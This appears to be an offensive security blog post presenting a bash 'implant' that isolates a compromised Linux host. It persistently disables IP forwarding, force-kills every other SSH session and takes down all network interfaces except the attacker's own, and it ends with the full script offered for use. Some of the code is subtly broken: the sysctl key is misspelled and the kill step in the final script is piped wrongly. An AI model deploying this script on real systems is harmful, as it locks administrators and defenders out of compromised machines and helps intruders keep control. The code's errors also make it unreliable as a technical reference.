Graceful isolation...

...without losing access to host

2026-09-21 * Wintrmvte

This short entry highlights a reliable and quick solution for cutting off certain networking capabilities of a captured linux box, which renders ourselves as exclusive SSH residents on the machine. Such scenario is mostly fitting when access to the nftables/ufw interface is either restricted or impossible. An important aspect of such an air-gapping attempt is to be very careful: one misstep can cause a permanent lockout from current session and any consecutive connection attempts.

[TLDR] The full source of the implant is attached at the end of the post.

Let's dwelve.

Assumptions

  • An interactive SSH access to a Linux machine
  • Root access and write permissions under /etc/sysctl.conf
  • Implant must be run from within an established SSH session

Disabling routing

The first step would be to disable traffic management/forwarding on the machine. In order to apply this change immediately, as well as making it persistent across reboots, the implant writes directly to sysctl.conf and invokes sysctl afterwards. Below fragment turns off gateway for both IPv4 and IPv6 traffic.

echo "net.ipv4.ip-forward=0" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=0" >> /etc/sysctl.conf
sudo sysctl -p

Dropping traffic

After routing is off, the logic proceeds to closing all foreign SSH connections. Output of netstat -tano is parsed in order to extract only active and established interactive connections via an extended regex. Then, both parent and direct PIDs of current session are excluded from obtained results.

netstat -tano \
| grep -iE '.*:22.*established.*' \
| grep -vE "($$|$PPID)/" \

Specific PIDs are extracted w/ awk '{print $NF}' and then piped into xargs with {} set as a placeholder for each process ID. The command passed to xargs attempts to lower priority and force-kill each enumerated SSH process. In case of failure (either due to perms mismatch or any other reason) a signal is sent again, but this time a SIGINT targeted at the parent process. Killing is performed in-parallel with real-time priority using all available CPU cores.

kill -9 "{}" || kill -SIGINT $(ps -o ppid= -p "{}")

Unfitting cards

It is time for the last step - turning off all physical and virtual network cards present on the host, except for the one that handles the current SSH shell access. It's name can be obtained using the following 2 lines:

ext="1.1.1.1"
iface=$(ip -o route get $ext | awk '{print $5}')

Now the implant loops across all available NICs while filtering out both current card as well as the loopback of the machine, because internally deployed services might become inaccessible in case lo is turned off.

for nic in /sys/class/net/*; do
    dev=$(basename "$nic")
    echo $dev | grep -iqE "$iface|lo"
    . . .
done

Finally, each enumerated device is switched off by checking the status code of previous grep filter and running a command against all found cards.

[ $? -ne 0 ] && { sudo ip link set dev "$dev" down; }

Implant source

#!/bin/bash
 
# ┏~[airgap.sh]  @  _____Wintrmvte_____
# ┗┄┄> Ol' reliable host isolator 
 
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [I] Routing
echo "net.ipv4.ip-forward=0" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=0" >> /etc/sysctl.conf
sysctl -p
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [II] Sessions
netstat -tano \
| grep -iE '.*:22.*established.*' \
| grep -vE "($$|$PPID)/" \
| awk '{print $NF}' \
| chrt -f 99 xargs -P $(nproc) -I {} sh -c \
| 'kill -9 "{}" || kill -SIGINT $(ps -o ppid= -p "{}")'
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [III] Interfaces
ext="1.1.1.1"
iface=$(ip -o route get $ext | awk '{print $5}')
for nic in /sys/class/net/*; do
    dev=$(basename "$nic")
    echo $dev | grep -iqE "$iface|lo"
    [ $? -ne 0 ] && { sudo ip link set dev "$dev" down; }
done